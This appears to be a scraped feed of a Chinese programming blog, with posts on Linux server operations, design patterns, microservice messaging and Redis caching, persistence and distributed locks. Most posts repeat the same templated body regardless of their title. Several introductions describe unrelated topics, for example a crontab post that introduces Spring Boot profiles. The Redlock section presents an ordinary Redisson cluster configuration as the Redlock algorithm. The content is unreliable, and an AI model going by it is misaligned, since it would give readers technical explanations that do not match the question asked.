服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 分布式 ID 生成方案怎么选

分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 持久化方案：RDB 与 AOF 选型指南 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ Redis 持久化方案：RDB 与 AOF 选型指南

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

RDB 快照持久化

#

工作原理

RDB 是 Redis 默认的持久化方式，它会在指定时间间隔内生成数据集的快照。

# 手动触发快照
redis-cli SAVE  # 阻塞式
redis-cli BGSAVE  # 非阻塞式，fork子进程执行

#

配置方式

# redis.conf
save 900 1      # 900秒内至少1个key变化
save 300 10     # 300秒内至少10个key变化
save 60 10000   # 60秒内至少10000个key变化

#

优缺点

维度优点缺点
性能快照文件小，恢复速度快可能丢失最近的数据
资源占用对性能影响较小fork 时可能阻塞
数据完整性适合做备份宕机时丢失部分数据

AOF 日志持久化

#

工作原理

AOF 记录每次写操作到日志文件，重启时通过重放日志恢复数据。

# 开启 AOF
redis-cli CONFIG SET appendonly yes

#

配置方式

# redis.conf
appendonly yes                    # 开启 AOF
appendfsync always               # 每次写入都同步（最安全，性能最差）
# appendfsync everysec           # 每秒同步（推荐）
# appendfsync no                 # 交给操作系统决定（性能最好，最不安全）

#

优缺点

维度优点缺点
数据完整性几乎不丢数据日志文件大
可靠性支持多种同步策略恢复速度慢
灵活性可做日志分析写性能略差

实战选型建议

#

场景一：纯缓存场景

# 数据可从数据库恢复，允许丢失
save 3600 1
appendonly no

适用：缓存热点数据、Session 存储、排行榜

#

场景二：混合场景

# 既要性能又要可靠性
save 3600 1
appendonly yes
appendfsync everysec

适用：支付系统、订单缓存、用户积分

#

场景三：金融级可靠性

# 不允许丢失任何数据
save 86400 1
appendonly yes
appendfsync always

适用：交易记录、账务系统

注意事项

#

1. AOF 重写

# 手动触发重写
redis-cli BGREWRITEAOF

定期重写可以减小 AOF 文件大小，避免日志无限增长。

#

2. 恢复顺序

# Redis 启动时先尝试 AOF，再尝试 RDB
# 可以通过配置指定优先级

#

3. 监控指标

# 查看持久化状态
redis-cli INFO persistence

关注 rdb_last_save_time、aof_last_rewrite_time 等指标。

总结

选择持久化方案的关键是：

  1. 评估数据的重要性和可恢复性
  2. 平衡性能和可靠性需求
  3. 结合业务场景做出选择

我在多个项目中都遇到过持久化配置不当导致的问题。建议在测试环境充分验证后再上线。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Redis 分布式锁：正确实现与避坑指南 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ Redis 分布式锁：正确实现与避坑指南

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

基础实现

#

错误示例

// ❌ 错误：存在竞态条件
boolean lock = redisTemplate.opsForValue().setIfAbsent("lock:order:1", "1");
if (lock) {
    try {
        // 执行业务逻辑
    } finally {
        redisTemplate.delete("lock:order:1"); // 可能释放别人的锁
    }
}

#

正确实现

public boolean tryLock(String key, String value, long timeout) {
    // 设置锁并指定超时时间，防止死锁
    Boolean result = redisTemplate.opsForValue()
        .setIfAbsent(key, value, timeout, TimeUnit.SECONDS);
    return Boolean.TRUE.equals(result);
}

public void unlock(String key, String value) {
    // 只释放自己的锁
    String currentValue = redisTemplate.opsForValue().get(key);
    if (value.equals(currentValue)) {
        redisTemplate.delete(key);
    }
}

使用示例

@Component
public class OrderService {
    
    private static final String LOCK_PREFIX = "lock:order:";
    private static final long LOCK_TIMEOUT = 30; // 30秒超时
    
    public void processOrder(Long orderId) {
        String lockKey = LOCK_PREFIX + orderId;
        String lockValue = UUID.randomUUID().toString();
        
        try {
            boolean locked = tryLock(lockKey, lockValue, LOCK_TIMEOUT);
            if (!locked) {
                throw new BusinessException("请稍后重试");
            }
            
            // 执行业务逻辑
            updateOrderStatus(orderId);
            
        } finally {
            unlock(lockKey, lockValue);
        }
    }
}

Lua 脚本优化

public boolean unlock(String key, String value) {
    String script = """
        if redis.call('get', KEYS[1]) == ARGV[1] then
            return redis.call('del', KEYS[1])
        else
            return 0
        end
        """;
    
    Long result = redisTemplate.execute(
        new DefaultRedisScript<>(script, Long.class),
        Collections.singletonList(key),
        value
    );
    
    return result != null && result > 0;
}

优点：保证原子性，避免竞态条件

Redisson 实现

@Autowired
private RedissonClient redissonClient;

public void processOrder(Long orderId) {
    RLock lock = redissonClient.getLock("lock:order:" + orderId);
    
    try {
        // 最多等待10秒，锁定30秒
        boolean locked = lock.tryLock(10, 30, TimeUnit.SECONDS);
        if (!locked) {
            throw new BusinessException("请稍后重试");
        }
        
        // 执行业务逻辑
        updateOrderStatus(orderId);
        
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
        throw new BusinessException("操作被中断");
    } finally {
        if (lock.isLocked() && lock.isHeldByCurrentThread()) {
            lock.unlock();
        }
    }
}

集群场景

#

问题分析

客户端 → Redis节点1（加锁成功）
         Redis节点2（未同步）
         Redis节点3（未同步）
节点1宕机 → 锁丢失

#

Redlock 方案

Config config = new Config();
config.useClusterServers()
    .addNodeAddress("redis://node1:6379")
    .addNodeAddress("redis://node2:6379")
    .addNodeAddress("redis://node3:6379");

RedissonClient client = Redisson.create(config);
RLock lock = client.getLock("lock:order:" + orderId);

原理：在多个独立节点上加锁，超过半数成功才算锁定成功。

注意事项

#

1. 锁超时问题

